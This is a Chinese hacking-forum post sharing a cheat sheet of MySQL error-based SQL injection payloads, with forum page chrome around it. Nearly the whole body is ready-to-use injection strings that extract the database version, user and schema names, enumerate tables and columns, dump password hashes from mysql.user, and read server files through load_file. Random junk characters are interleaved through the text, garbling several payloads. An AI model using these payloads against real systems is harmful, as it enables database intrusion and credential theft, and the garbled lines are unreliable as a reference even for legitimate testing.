找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2141|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
, ^+ e5 j+ m( |' G- A, g5 N# y" R4 t  @
' s8 K. o8 U- B( ?7 B0 `3 \( |; g
Mysql暴错注入参考(pdf),每天一贴。。。
! Y3 l7 v. p- F- j) H
0 A* }; C- i  h% gMySql Error Based Injection Reference
5 H  C* V1 j) F3 D. k- b[Mysql暴错注入参考]
3 M0 w2 f3 \0 z" c& FAuthornig0s1992
. R( _) K: ^5 J' u7 TBlog:http://pnig0s1992.blog.51cto.com/
7 c  ^/ w& g, P! `0 hTeAm:http://www.FreeBuf.com/: j2 s' E( R  }" K& c9 ?
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
& l# m- \' t- X; ?小部分版本使用name_const()时会报错.可以用给出的Method.2测试$ a1 F8 R5 c: Q
查询版本:2 |( Y+ O6 p, d9 D+ L& f3 v
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
; Z2 {6 f% P- \3 `join+(select+name_const(@@version,0))b)c)
. ^: d  F& i" w9 A1 kMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro/ \& K( T7 f; Z( b+ r4 E9 n9 j  l
up by a)b)& f; f1 S; c# s
查询当前用户:
! k% r9 t! G) T, \: h7 g. hMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
+ j2 C3 d: a. x9 W# C, B( ^Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r! T- E* t0 ~! ~0 q3 R
and(0)*2))x+from+information_schema.tables+group+by+x)a)# K8 Y8 t+ {4 i
查询当前数据库:
4 D) f# K5 z) m; x6 R$ gMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
2 x6 x. y7 ?. q0 @Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
: P  [9 I3 u* I. B) m( Oor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)( H! B+ B6 ?% ?
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+& G: m& K" p  l; V- M
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n; g5 O. T5 H+ d6 T
顺序替换
* a" r, X/ E; X爆指定库数目:% _' f$ d# @3 v
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t% h* m$ R& q# o: i* t% v
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group4 x2 A/ X+ X+ ?  a' N. A
+by+x)a)+and+1=1 0x6D7973716C=mysql
( U6 q8 v) r3 @; Z; t依次爆表:
* S$ Y# j) e' i: cand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t5 S9 b; l" U' B0 y" ?
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
9 I$ i3 H+ L' a$ J" @5 ybles+group+by+x)a)+and+1=1
  y) ?7 R8 G- F9 `) }. T1 O' L) |+ p0x6D7973716C=Mysql 将n顺序替换
; K# v" z3 y  _0 m爆表内字段数目:; O3 R9 ~0 Y- k0 F( A. N
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
+ K! y4 R2 L  T( A+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran+ a( P0 W- ~, D9 f
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=13 m8 J. Z* r$ Y, j5 j4 B9 E
依次爆字段:
$ l/ B7 Y& C2 d) P; band+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where) B6 f& c- Y, N/ S0 P
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1# G- U5 G) H4 I+ |
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换7 r! X( i/ ?- q. q6 a
依次暴内容:$ w6 l2 `0 }- h# \9 E
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche& C0 ?2 a9 K0 h8 p" \1 A# }
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=17 {9 @$ E' e7 H% w6 z( w1 q
将n顺序替换
6 D$ g" r! @% Z% [爆文件内容:' o4 u8 l3 k; B4 R8 u6 l
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
6 h3 X) Z- b0 Xfrom+information_schema.tables+group+by+a)b)
9 r% s  x" c3 K( ^- D0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
2 J4 |! @' R/ dThx for reading.
- O% Y2 a+ w* `( M! A. Z; {; C$ T' N9 S+ N3 M! P  w
不要下载也可以,
  k7 Z  U; l9 z+ t

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表